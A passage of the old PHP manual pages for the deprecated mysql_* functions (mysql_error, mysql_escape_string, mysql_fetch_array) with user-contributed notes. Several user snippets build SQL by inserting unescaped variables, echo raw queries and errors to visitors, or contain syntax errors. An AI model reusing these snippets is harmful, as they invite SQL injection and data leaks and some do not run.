// $page
 $result = mysql_query($query);
 if (mysql_errno()) {
  $error = "MySQL error ".mysql_errno().": ".mysql_error()."\n<br>When executing:<br>\n$query\n<br>";
  $log = mysql_query("INSERT INTO db_errors (error_page,error_text) VALUES ('$page','".escape_data($error)."')");
 }
}

// Run the query using q()
$query = "INSERT INTO names (first, last) VALUES ('myfirst', 'mylast'");
$result = q("Sample Page Title",$query);
?>
Gianluigi_Zanettini-MegaLab.it 25-May-2007 12:50
A friend of mine proposed a great solution.

<?php
$old_track = ini_set('track_errors', '1');

.....

        if ($this->db_handle!=FALSE && $db_selection_status!=FALSE)
            {
            $this->connected=1;
            ini_set('track_errors', $old_track);
            }
        else
            {
            $this->connected=-1;
            $mysql_warning=$php_errormsg;
            ini_set('track_errors', $old_track);
            throw new mysql_cns_exception(1, $mysql_warning . " " . mysql_error());
            }
?>
Gianluigi_Zanettini-MegaLab.it 25-May-2007 10:20
"Errors coming back from the MySQL database backend no longer issue warnings." Please note, you have an error/bug here. In fact, MySQL 5.1 with PHP 5.2:

Warning: mysql_connect() [function.mysql-connect]: Unknown MySQL server host 'locallllllhost' (11001)

That's a warning, which is not trapped by mysql_error()!
phpnet at robzazueta dot com 24-Jan-2007 08:14
This is a big one - As of MySQL 4.1 and above, apparently, the way passwords are hashed has changed. PHP 4.x is not compatible with this change, though PHP 5.0 is. I'm still using the 4.x series for various compatibility reasons, so when I set up MySQL 5.0.x on IIS 6.0 running PHP 4.4.4 I was surpised to get this error from mysql_error():

MYSQL: Client does not support authentication protocol requested by server; consider upgrading MySQL client

According to the MySQL site (http://dev.mysql.com/doc/refman/5.0/en/old-client.html) the best fix for this is to use the OLD_PASSWORD() function for your mysql DB user. You can reset it by issuing to MySQL:

Set PASSWORD for 'user'@'host' = OLD_PASSWORD('password');

This saved my hide.
l dot poot at twing dot nl 12-Jul-2006 02:38
When creating large applications it's quite handy to create a custom function for handling queries. Just include this function in every script. And use db_query(in this example) instead of mysql_query.

This example prompts an error in debugmode (variable $b_debugmode ). An e-mail with the error will be sent to the site operator otherwise.

The script writes a log file in directory ( in this case /log ) as well.

The system is vulnerable when database/query information is prompted to visitors. So be sure to hide this information for visitors anytime.

Regars,

Lennart Poot
http://www.twing.nl

<?php
$b_debugmode = 1; // 0 || 1

$system_operator_mail = 'developer@company.com';
$system_from_mail = 'info@mywebsite.com';

function db_query( $query ){
  global $b_debugmode;

  // Perform Query
  $result = mysql_query($query);

  // Check result
  // This shows the actual query sent to MySQL, and the error. Useful for debugging.
  if (!$result) {
    if($b_debugmode){
      $message  = '<b>Invalid query:</b><br>' . mysql_error() . '<br><br>';
      $message .= '<b>Whole query:</b><br>' . $query . '<br><br>';
      die($message);
    }

    raise_error('db_query_error: ' . $message);
  }
  return $result;
}

  function raise_error( $message ){
    global $system_operator_mail, $system_from_mail;

    $serror=
    "Env:       " . $_SERVER['SERVER_NAME'] . "\r\n" .
    "timestamp: " . Date('m/d/Y H:i:s') . "\r\n" .
    "script:    " . $_SERVER['PHP_SELF'] . "\r\n" .
    "error:     " . $message ."\r\n\r\n";

    // open a log file and write error
    $fhandle = fopen( '/logs/errors'.date('Ymd').'.txt', 'a' );
    if($fhandle){
      fwrite( $fhandle, $serror );
      fclose(( $fhandle ));
     }

    // e-mail error to system operator
    if(!$b_debugmode)
      mail($system_operator_mail, 'error: '.$message, $serror, 'From: ' . $system_from_mail );
  }

?>
05-Jan-2005 09:53
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

A fatal MySQL error occured.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
aleczapka _at) gmx dot net 16-Jul-2004 07:05
If you want to display errors like "Access denied...", when mysql_error() returns "" and mysql_errno() returns 0, use  $php_errormsg. This Warning will be stored there.  You need to have track_errors set to true in your php.ini.

Note. There is a bug in either documentation about error_reporting() or in mysql_error() function cause manual for mysql_error(), says:  "Errors coming back from the MySQL database backend no longer issue warnings." Which is not true.
olaf at amen-online dot de 22-Jun-2004 08:08
When dealing with user input, make sure that you use
<?php
echo htmlspecialchars (mysql_error ());
?>
instead of
<?php
echo mysql_error ();
?>

Otherwise it might be possible to crack into your system by submitting data that causes the SQL query to fail and that also contains javascript commands.

Would it make sense to change the examples in the documentation for mysql_query () and for mysql_error () accordingly?
miko_il AT yahoo DOT com 11-Dec-2003 08:25
Following are error codes that may appear when you call MySQL from any host language:

http://www.mysql.com/doc/en/Error-returns.html
josh ><> 14-Oct-2003 01:26
Oops, the code in my previous post only works for queries that don't return data (INSERT, UPDATE, DELETE, etc.), this updated function should work for all types of queries (using $result = myquery($query);):

    function myquery ($query) {
        $result = mysql_query($query);
        if (mysql_errno())
            echo "MySQL error ".mysql_errno().": ".mysql_error()."\n<br>When executing:<br>\n$query\n<br>";
        return $result;
    }
scott at rocketpack dot net 25-Jul-2003 11:44
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

<b>A fatal MySQL error occured</b>.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
10-May-2001 04:03
some error can't handle. Example:

ERROR 1044: Access denied for user: 'ituser@mail.ramon.intranet' to database 'itcom'

This error ocurrs when a intent of a sql insert of no authorized user. The results: mysql_errno = 0 and the mysql_error = "" .


Escapes a string for use in a mysql_query

  • « mysql_error
  • mysql_fetch_array »
  • PHP Manual
  • MySQL Functions
  • Escapes a string for use in a mysql_query

mysql_escape_string

(PHP 4 >= 4.0.3, PHP 5)

mysql_escape_string — Escapes a string for use in a mysql_query

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_escape_string()
  • PDO::quote()

Description

string mysql_escape_string ( string $unescaped_string )

This function will escape the unescaped_string, so that it is safe to place it in a mysql_query(). This function is deprecated.

This function is identical to mysql_real_escape_string() except that mysql_real_escape_string() takes a connection handler and escapes the string according to the current character set. mysql_escape_string() does not take a connection argument and does not respect the current charset setting.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

unescaped_string

The string that is to be escaped.

Return Values

Returns the escaped string.

Changelog

Version | Description
5.3.0 | This function now throws an E_DEPRECATED notice.
4.3.0 | This function became deprecated, do not use this function. Instead, use mysql_real_escape_string().

Examples

Example #1 mysql_escape_string() example

<?php
$item = "Zak's Laptop";
$escaped_item = mysql_escape_string($item);
printf("Escaped string: %s\n", $escaped_item);
?>

The above example will output:

Escaped string: Zak\'s Laptop

Notes

Note:

mysql_escape_string() does not escape % and _.

See Also

  • mysql_real_escape_string() - Escapes special characters in a string for use in an SQL statement
  • addslashes() - Quote string with slashes
  • The magic_quotes_gpc directive.

User Contributed Notes

s dot marechal at jejik dot com 26-Jan-2011 11:37
The exact characters that are escaped by this function are the null byte (0), newline (\n), carriage return (\r), backslash (\), single quote ('), double quote (") and substiture (SUB, or \032).


Fetch a result row as an associative array, a numeric array, or both

  • « mysql_escape_string
  • mysql_fetch_assoc »
  • PHP Manual
  • MySQL Functions
  • Fetch a result row as an associative array, a numeric array, or both

mysql_fetch_array

(PHP 4, PHP 5)

mysql_fetch_array — Fetch a result row as an associative array, a numeric array, or both

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_fetch_array()
  • PDOStatement::fetch()

Description

array mysql_fetch_array ( resource $result [, int $result_type = MYSQL_BOTH ] )

Returns an array that corresponds to the fetched row and moves the internal data pointer ahead.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

result_type

The type of array that is to be fetched. It's a constant and can take the following values: MYSQL_ASSOC, MYSQL_NUM, and MYSQL_BOTH.

Return Values

Returns an array of strings that corresponds to the fetched row, or FALSE if there are no more rows. The type of returned array depends on how result_type is defined. By using MYSQL_BOTH (default), you'll get an array with both associative and number indices. Using MYSQL_ASSOC, you only get associative indices (as mysql_fetch_assoc() works), using MYSQL_NUM, you only get number indices (as mysql_fetch_row() works).

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you must use the numeric index of the column or make an alias for the column. For aliased columns, you cannot access the contents with the original column name.

Examples

Example #1 Query with aliased duplicate field names

SELECT table1.field AS foo, table2.field AS bar FROM table1, table2

Example #2 mysql_fetch_array() with MYSQL_NUM

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
    die("Could not connect: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
    printf("ID: %s  Name: %s", $row[0], $row[1]);
}

mysql_free_result($result);
?>

Example #3 mysql_fetch_array() with MYSQL_ASSOC

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
    die("Could not connect: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
    printf("ID: %s  Name: %s", $row["id"], $row["name"]);
}

mysql_free_result($result);
?>

Example #4 mysql_fetch_array() with MYSQL_BOTH

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
    die("Could not connect: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_BOTH)) {
    printf ("ID: %s  Name: %s", $row[0], $row["name"]);
}

mysql_free_result($result);
?>

Notes

Note: Performance

An important thing to note is that using mysql_fetch_array() is not significantly slower than using mysql_fetch_row(), while it provides a significant added value.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mysql_fetch_row() - Get a result row as an enumerated array
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_data_seek() - Move internal result pointer
  • mysql_query() - Send a MySQL query

User Contributed Notes

scott_carney at hotmail dot com 24-May-2012 02:22
Just thought I'd share these helper functions that I use to simplify processing of query results a bit:
<?php
// For a simple query that should return a single value, this returns just that value (or FALSE) so you can process it immediately
function db_result_single($result) {
    return ($row = mysql_fetch_row($result)) && isset($row[0]) ? $row[0] : false;
}

// Returns the rows as an array of rows
// Providing a key_column gives you access to specific rows (e.g. if (isset($result_array[$user_id])) ...)
function db_result_array($result, $key_column = null) {
    for ($array = array(); $row = mysql_fetch_assoc($result); isset($row[$key_column]) ? $array[$row[$key_column]] = $row : $array[] = $row);
    return $array;
}

// Returns an array of a single column of data that can optionally be keyed from second column (e.g. an array of user names keyed by user id)
function db_result_array_values($result) {
    for ($array = array(); $row = mysql_fetch_row($result); isset($row[1]) ? $array[$row[1]] = $row[0] : $array[] = $row[0]);
    return $array;
}
?>

Naturally, comments [to my email, not here] are welcome.
puzbie at facebookanswers dot co dot uk 08-Nov-2011 10:28
<?php
 while($r[]=mysql_fetch_array($sql));
 ?>
Yes, that will generate a dummy array element containing the false of the final mysql_fetch_array. You should either truncate the array or (more sensibly in my mind) check that the result of mysql_fetch_array is not false before adding it to the array.
Anonymous 30-Aug-2011 10:56
If I use

<?php
while($r[]=mysql_fetch_array($sql));
?>

so in array $r is one more entry then rows returned from the database.
maileremi at gmail dot com 03-Aug-2011 06:49
Simple way to put table in an array...

<?php
//= Query ========================//
$sql=mysql_query("select * from table1");

//= Closed while ====================//
/*everytime it fetches the row, adds it to array...*/
while($r[]=mysql_fetch_array($sql));

echo "<pre>";
//= Prints $r as array =================//
print_r ($r);
//=============================//
echo "</pre>";
?>
final at skilled dot ch 26-Jul-2011 12:50
I ran into troubles with MySQL NULL values when I generated dynamic queries and then had to figure out whether my resultset contained a specific field.

First instict was to use isset() and is_null(), but these function will not behave as you probably expect.

I ended up using array_key_exists, as it was the only function that could tell me whether the key actually existed or not.

<?php
$row = mysql_fetch_assoc(mysql_query("SELECT null as a"));
var_dump($row); //array(1) {  ["a"]=>  NULL }
var_dump(isset($row['a'])); //false
var_dump(isset($row['b'])); //false
var_dump(is_null($row['a'])); //true
var_dump(is_null($row['b'])); //true + throws undefined index notice
var_dump(array_key_exists('a', $row)); // true
var_dump(array_key_exists('b', $row)); // false
?>
Amine O 21-Jan-2011 04:49
If you use implode() with the return value by mysql_fetch_array, if you use MYSQL_BOTH on parameter 2, the result is not really what you're expecting.
For example :
my sql database contains "Amine, Sarah, Mohamed";

$array = mysql_fetch_array($resource,MYSQL_BOTH);
or $array = mysql_fetch_array($resource);
echo implode(" - ", $array);

the result is : Amine-Amine-Sarah-Sarah-Mohamed-Mohamed
and we expect just : Amine-Sarah-Mohamed

You must use MYSQL_NUM or MYSQL_ASSOC on parameter 2 to resolve the problem.
buddy at databoysoftware dot com 03-Aug-2009 07:24
In the note entered by Typer85, concerning the use of mysql_data_seek(), it should be noted that there are two parameters, both of which are required.

If you have already iterated through a result array (for instance, using mysql_fetch_array()), and have a need to start from the top, the proper syntax is:

mysql_data_seek({result set},{record#})

EG:
mysql_data_seek($result,0)
("0" represents the first record in the array.)

This will reset your result to the top of the array so that you can then re-process with
while($row = mysql_fetch_array($result)) or other array processing.
Tristan 28-Jul-2009 02:42
Here's a quicker way to clone a record.  Only 3 lines of code instead of 4.  But the table must have an auto-incremented id.
I took the code from Tim and altered it. Props to Tim.

<?php
// copy content of the record you wish to clone
$entity = mysql_fetch_array(mysql_query("SELECT * FROM table_name WHERE id='$id_to_be cloned'"), MYSQL_ASSOC) or die("Could not select original record");

// set the auto-incremented id's value to blank. If you forget this step, nothing will work because we can't have two records with the same id
$entity["id"] = "";

// insert cloned copy of the original  record
mysql_query("INSERT INTO table_name (".implode(", ",array_keys($entity)).") VALUES ('".implode("', '",array_values($entity))."')");

// if you want the auto-generated id of the new cloned record, do the following
$newid = mysql_insert_id();
?>

There you go.
mehdi dot haresi at gmail dot com 20-Jul-2009 09:44
For all of you having problems accessing duplicated field names in queries with their table alias i have implemented the following quick solution:

<?php
function mysql_fetch_alias_array($result)
{
    if (!($row = mysql_fetch_array($result)))
    {
        return null;
    }

    $assoc = Array();
    $rowCount = mysql_num_fields($result);

    for ($idx = 0; $idx < $rowCount; $idx++)
    {
        $table = mysql_field_table($result, $idx);
        $field = mysql_field_name($result, $idx);
        $assoc["$table.$field"] = $row[$idx];
    }

    return $assoc;
}
?>

Lets asume we have 2 tables student and contact each having fID as the index field and want to access both fID fields in php.

The usage of this function will be pretty similar to calling mysql_fetch_array:

<?php
$result = mysql_query("select * from student s inner join contact c on c.fID = s.frContactID");

while ($row = mysql_fetch_alias_array($result))
{
    echo "StudenID: {$row['s.fID']}, ContactID: {$row['c.fID']}";
}
?>

Voila, that's it :)

Please be aware that by using this function, you have to access all fields with their alias name (e.g. s.Name, s.Birhtday) even if they are not duplicated.

If you have questions, just send me a mail.

Best regards,
Mehdi Haresi
die-webdesigner.at
info at o08 dot com 06-Dec-2008 03:33
As opposite of mysql_fetch_array:

<?php
function mysql_insert_array ($my_table, $my_array) {
    $keys = array_keys($my_array);
    $values = array_values($my_array);
    $sql = 'INSERT INTO ' . $my_table . '(' . implode(',', $keys) . ') VALUES ("' . implode('","', $values) . '")';
    return(mysql_query($sql));
}
#http://www.weberdev.com/get_example-4493.html
?>
KingIsulgard 24-Nov-2008 02:49
I have found a way to put all results from the select query in an array in one line.

// Read records
$result = mysql_query("SELECT * FROM table;") or die(mysql_error());

// Put them in array
for($i = 0; $array[$i] = mysql_fetch_assoc($result); $i++) ;

// Delete last empty one
array_pop($array);

You need to delete the last one because this will always be empty.

By this you can easily read the entire table to an array and preserve the keys of the table columns. Very handy.
noagbodjivictor at gmail dot com 10-Nov-2007 05:53
Little improvement to the previous function.

function mysql_fetch_rowsarr($result, $numass=MYSQL_BOTH) {
  $got = array();

  if(mysql_num_rows($result) == 0)
    return $got;

  mysql_data_seek($result, 0);

  while ($row = mysql_fetch_array($result, $numass)) {
    array_push($got, $row);
  }

  return $got;
}
Typer85 at gmail dot com 01-Dec-2006 02:22
Please be advised that the resource result that you pass to this function can be thought of as being passed by reference because a resource is simply a pointer to a memory location.

Because of this, you can not loop through a resource result twice in the same script before resetting the pointer back to the start position.

For example:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// We looped through the resource result already so the
// the pointer is no longer pointing at any rows.

// If we decide to loop through the same resource result
// again, the function will always return false because it
// will assume there are no more rows.

// So the following code, if executed after the previous code
// segment will not work.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Because $queryContent is now equal to FALSE, the loop
// will not be entered.

?>
----------------

The only solution to this is to reset the pointer to make it point at the first row again before the second code segment, so now the complete code will look as follows:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Reset Our Pointer.

mysql_data_seek( $queryResult );

// Loop Again.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

?>
----------------

Of course you would have to do extra checks to make sure that the number of rows in the result is not 0 or else mysql_data_seek itself will return false and an error will be raised.

Also please note that this applies to all functions that fetch result sets, including mysql_fetch_row, mysql_fetch_assos, and mysql_fetch_array.
john at skem9 dot com 21-Jan-2006 01:13
my main purpose was to show the fetched array into a table, showing the results side by side instead of underneath each other, and heres what I've come up with.

just change the $display number to however many columns you would like to have, just dont change the $cols number or you might run into some problems.

<?php
$display = 4;
$cols = 0;
echo "<table>";
while($fetched = mysql_fetch_array($result)){
    if($cols == 0){
        echo "<tr>\n";
    }
    // put what you would like to display within each cell here
    echo "<td>".$fetched['id']."<br />".$fetched['name']."</td>\n";
    $cols++;
    if($cols == $display){
        echo "</tr>\n";
        $cols = 0;
    }
}
// added the following so it would display the correct html
if($cols != $display && $cols != 0){
    $neededtds = $display - $cols;
    for($i=0;$i<$neededtds;$i++){
        echo "<td></td>\n";
    }
     echo "</tr></table>";
    } else {
    echo "</table>";
}
?>

Hopefully this will save some of you a lot of searching.

any kind of improvements on this would be awesome!
tim at wiltshirewebs dot com 14-Nov-2005 02:49
Here's a quick way to duplicate or clone a record to the same table using only 4 lines of code:

// first, get the highest id number, so we can calc the new id number for the dupe
// second, get the original entity
// third, increment the dupe record id to 1 over the max
// finally insert the new record - voila - 4 lines!

$id_max = mysql_result(mysql_query("SELECT MAX(id) FROM table_name"),0,0) or die("Could not execute query");
$entity = mysql_fetch_array(mysql_query("SELECT * FROM table." WHERE id='$id_original'),MYSQL_ASSOC) or die("Could not select original record"); // MYSQL_ASSOC forces a purely associative array and blocks twin key dupes, vitally, it brings the keys out so they can be used in line 4
$entity["id"]=$id_max+1;
mysql_query("INSERT INTO it_pages (".implode(", ",array_keys($Entity)).") VALUES ('".implode("', '",array_values($Entity))."')");

Really struggled in cracking this nut - maybe there's an easier way out there?  Thanks to other posters for providing inspiration. Good luck - Tim
eddie at nailchipper dot com 03-Nov-2005 07:58
mob AT stag DOT ru has a nice function for getting simple arrays from MySQL but it has a serious bug. The MySQL link being set as an argument is NULL when no link is supplied meaning that you're passing NULL to the mysql funcctions as a link, which is wrong. I am not using multitple connections so I removed the link and using the global link. If you want to support multiple links check to see if its set first.

/*
* to support multiple links add the $link argument to function then
* test it before you use the link
*
* if(isset($link))
*   if($err=mysql_errno($link))return $err;
* else
*   if($err=mysql_errno())return $err;
*/

function mysql_fetch_all($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}
kunky at mail dot berlios dot de 01-Oct-2005 12:41
This is very useful when the following query is used:

`SHOW TABLE STATUS`

Different versions of MySQL give different responses to this.

Therefore, it is better to use mysql_fetch_array() because the numeric references given my mysql_fetch_row() give very different results.
joelwan at gmail dot com 06-Sep-2005 12:14
Try Php Object Generator: http://www.phpobjectgenerator.com

It's kind of similar to Daogen, which was suggested in one of the comments above, but simpler and easier to use.

Php Object Generator generates the Php Classes for your Php Objects. It also provides the database class so you can focus on more important aspects of your project. Hope this helps.
romans at servidor dot unam dot mx 13-May-2005 07:31
Regarding duplicated field names in queries, I wanted some way to retrieve rows without having to use alias, so I wrote this class that returns rows as 2d-arrays

<?
  $field = $drow['table']['column'];
?>

Here is the code:

<?
  class mysql_resultset
  {
    var $results, $map;

    function mysql_resultset($results)
    {
      $this->results = $results;
      $this->map = array();

      $index = 0;
      while ($column = mysql_fetch_field($results))
      {
        $this->map[$index++] = array($column->table, $column->name);
      }
    }

    function fetch()
    {
      if ($row = mysql_fetch_row($this->results))
      {
        $drow = array();

        foreach ($row as $index => $field)
        {
          list($table, $column) = $this->map[$index];
          $drow[$table][$column] = $row[$index];
        }

        return $drow;
      }
      else
        return false;
    }
  }
?>

The class is initialized with a mysql_query result:

<?
  $resultset = new mysql_resultset(mysql_query($sql));
?>

The constructor builds an array that maps each field index to a ($table, $column) array so we can use mysql_fetch_row and access field values by index in the fetch() method. This method then uses the map to build up the 2d-array.

An example:

<?
  $sql =
    "select orders.*, clients.*, productos.* ".
    "from orders, clients, products ".
    "where join conditions";

  $resultset = new mysql_resultset(mysql_query($sql));

  while ($drow = $resultset->fetch())
  {
    echo 'No.: '.$drow['orders']['number'].'<br>';
    echo 'Client: '.$drow['clients']['name'].'<br>';
    echo 'Product: '.$drow['products']['name'].'<br>';
  }
?>

I hope others find this useful as it has been to me.
mob AT stag DOT ru 24-Jan-2005 08:16
I wrote some utility functions to improve usability and readability, and use them everywhere in my code. I suppose they can help.

function mysql_fetch_all($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}

Example use:
if(is_array($rows=mysql_fetch_all("select * from sometable",$MySQL))){
 //do something
}else{
 if(!is_null($rows)) die("Query failed!");
}
joey at clean dot q7 dot com 19-Apr-2004 04:47
The issue of NULL fields seems to not be an issue anymore (as of 4.2.2 at least).  mysql_fetch_* now seems to fully populate the array and put in entries with values of NULL when that is what the database returned.  This is certainly the behaviour I expected, so I was concerned when i saw the notes here, but testing shows it does work the way I expected.
Ben 06-Apr-2004 08:59
One of the most common mistakes that people make with this function, when using it multiple times in one script, is that they forget to use the mysql_data_seek() function to reset the internal data pointer.

When iterating through an array of MySQL results, e.g.

<?php
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    foreach ($line as $col_value) {
        echo $col_value . '<br />';
    }
}
?>

the internal data pointer for the array is advanced, incrementally, until there are no more elements left in the array. So, basically, if you copy/pasted the above code into a script TWICE, the second copy would not create any output. The reason is because the data pointer has been advanced to the end of the $line array and returned FALSE upon doing so.

If, for some reason, you wanted to interate through the array a second time, perhaps grabbing a different piece of data from the same result set, you would have to make sure you call

<?php
mysql_data_seek($result, 0);
?>

This function resets the pointer and you can re-iterate through the $line array, again!
hanskrentel at yahoo dot de 08-Jan-2003 10:25
for the problem with fields containing null values in an associated array, feel free to use this function. i've got no more problems with it, just drop it in your script:

/*
*    mysql_fetch_array_nullsafe
*
*
*    get a result row as an enumerated and associated array
*    ! nullsafe !
*
*    parameter:    $result
*                    $result:    valid db result id
*
*    returns:    array | false (mysql:if there are any more rows)
*
*/
function mysql_fetch_array_nullsafe($result) {
    $ret=array();

    $num = mysql_num_fields($result);
    if ($num==0) return $ret;

    $fval = mysql_fetch_row ($result);
     if ($fval === false) return false;

    $i=0;
     while($i<$num)
        {
            $fname[$i] = mysql_field_name($result,$i);
            $ret[$i] = $fval[$i];            // enum
            $ret[''.$fname[$i].''] = $fval[$i];    // assoc
            $i++;
        }

    return $ret;
}
juancri at tagnet dot org 12-Nov-2002 10:41
An example with mysql_fetch_array():

    $result = mysql_query("SELECT name FROM table WHERE id=8");
    $array = mysql_fetch_array($result);

$array will be:

    array ([0] => "John", ['name'] => "John")

Then you can access to the results:

    echo "The name is " . $array[0];
    // or
    echo "The name is " . $array['name'];

But the array is not referential. $array[0] is not a reference to $array['name'] or $array['name'] to $array[0], they are not relationed between. Because of that, the system will use excesive memory. With large columns, try to use mysql_fetch_assoc() or mysql_fetch_row() only.
dkantha at yahoo dot com 11-Nov-2002 01:27
I did find 'jb at stormvision's' code useful above, but instead of the number of rows you need the number of fields; otherwise you get an error.

So, it should read like the following:

$result=mysql_query("select * from mydata order by 'id'")or die('died');
$num_fields = mysql_num_fields($result);
$j=0;
$x=1;
while($row=mysql_fetch_array($result)){
  for($j=0;$j<$num_fields;$j++){
   $name = mysql_field_name($result, $j);
   $object[$x][$name]=$row[$name];
  }$x++;
}

For Later in the script you may use the below array to gain access to your data

$i=1;
$ii=count($object);        //quick access function
for($i=1;$i<=$ii;$i++){
echo $object[$i]['your_field_name'];
}

I have tested this in my apps and it works great! :-)
glenn dot hoeppner at yakhair dot com 09-Oct-2002 11:04
Just another workaround for columns with duplicate names...

Modify your SQL to use the AS keyword.

Instead of:
$sql = "SELECT t1.cA, t2.cA FROM t1, t2 WHERE t1.cA = t2.cA";

Try:
$sql = "SELECT t1.cA AS foo1, t2.cA AS foo2 FROM t1, t2 WHERE t1.cA = t2.cA";

Then you can reference the results by name in the array:
  $row[foo1], $row[foo2]
tslukka at cc dot hut dot fi 25-Sep-2002 11:20
If you think MySQL (or other) database
handling is difficult and requires lot's of
code, I recommend that you try http://titaniclinux.net/daogen/

DaoGen is a program source code generator
that supports PHP and Java. It makes database
programming quick and easy. Generated sources
are released under GPL.
robjohnson at black-hole dot com 15-Jun-2002 12:22
Benchmark on a table with 38567 rows:

mysql_fetch_array
MYSQL_BOTH: 6.01940000057 secs
MYSQL_NUM: 3.22173595428 secs
MYSQL_ASSOC: 3.92950594425 secs

mysql_fetch_row: 2.35096800327 secs
mysql_fetch_assoc: 2.92349803448 secs

As you can see, it's twice as effecient to fetch either an array or a hash, rather than getting both.  it's even faster to use fetch_row rather than passing fetch_array MYSQL_NUM, or fetch_assoc rather than fetch_array MYSQL_ASSOC.  Don't fetch BOTH unless you really need them, and most of the time you don't.
barbieri at NOSPAMzero dot it 31-May-2002 03:21
Here is a suggestion to workaround the problem of NULL values:

// get associative array, with NULL values set
$record = mysql_fetch_array($queryID,MYSQL_ASSOC);

// set number indices
if(is_array($record))
{
    $i = 0;
    foreach($record as $element)
        $record[$i++] = $element;
}

This way you can access $result array as usual, having NULL fields set.
mjm at porter dot appstate dot edu 13-Mar-2002 04:48
If you perform a SELECT query which returns different columns with duplicate names, like this:

--------
$sql_statement = "SELECT tbl1.colA, tbl2.colA FROM tbl1 LEFT JOIN tbl2 ON tbl1.colC = tbl2.colC";

$result = mysql_query($sql_statement, $handle);

$row = mysql_fetch_array($result);
--------

Then

$row[0] is equivalent to $row["colA"]

but

$row[1] is not equivalent to $row["colA"].

Moral of the story: You must use the numerical index on the result row arrays if column names are not unique, even if they come from different tables within a JOIN. This would render mysql_fetch_assoc() useless.

[Ed. note - or you could do the usual 'select tbl1.colA as somename, tbl2.colA as someothername. . .' which would obviate the problem. -- Torben]
some at gamepoint dot net 10-Jan-2002 08:13
I never had so much trouble with null fields but it's to my understanding that extract only works as expected when using an associative array only, which is the case with mysql_fetch_assoc() as used in the previous note.

However a mysql_fetch_array will return field values with both the numerical and associative keys, the numerical ones being those extract() can't handle very well.
You can prevent that by calling mysql_fetch_array($result,MYSQL_ASSOC) which will return the same result as mysql_fetch_assoc and is extract() friendly.


Fetch a result row as an associative array

  • « mysql_fetch_array
  • mysql_fetch_field »
  • PHP Manual
  • MySQL Functions
  • Fetch a result row as an associative array

mysql_fetch_assoc

(PHP 4 >= 4.0.3, PHP 5)

mysql_fetch_assoc — Fetch a result row as an associative array

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_fetch_assoc()
  • PDOStatement::fetch(PDO::FETCH_ASSOC)

Description

array mysql_fetch_assoc ( resource $result )

Returns an associative array that corresponds to the fetched row and moves the internal data pointer ahead. mysql_fetch_assoc() is equivalent to calling mysql_fetch_array() with MYSQL_ASSOC for the optional second parameter. It only returns an associative array.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

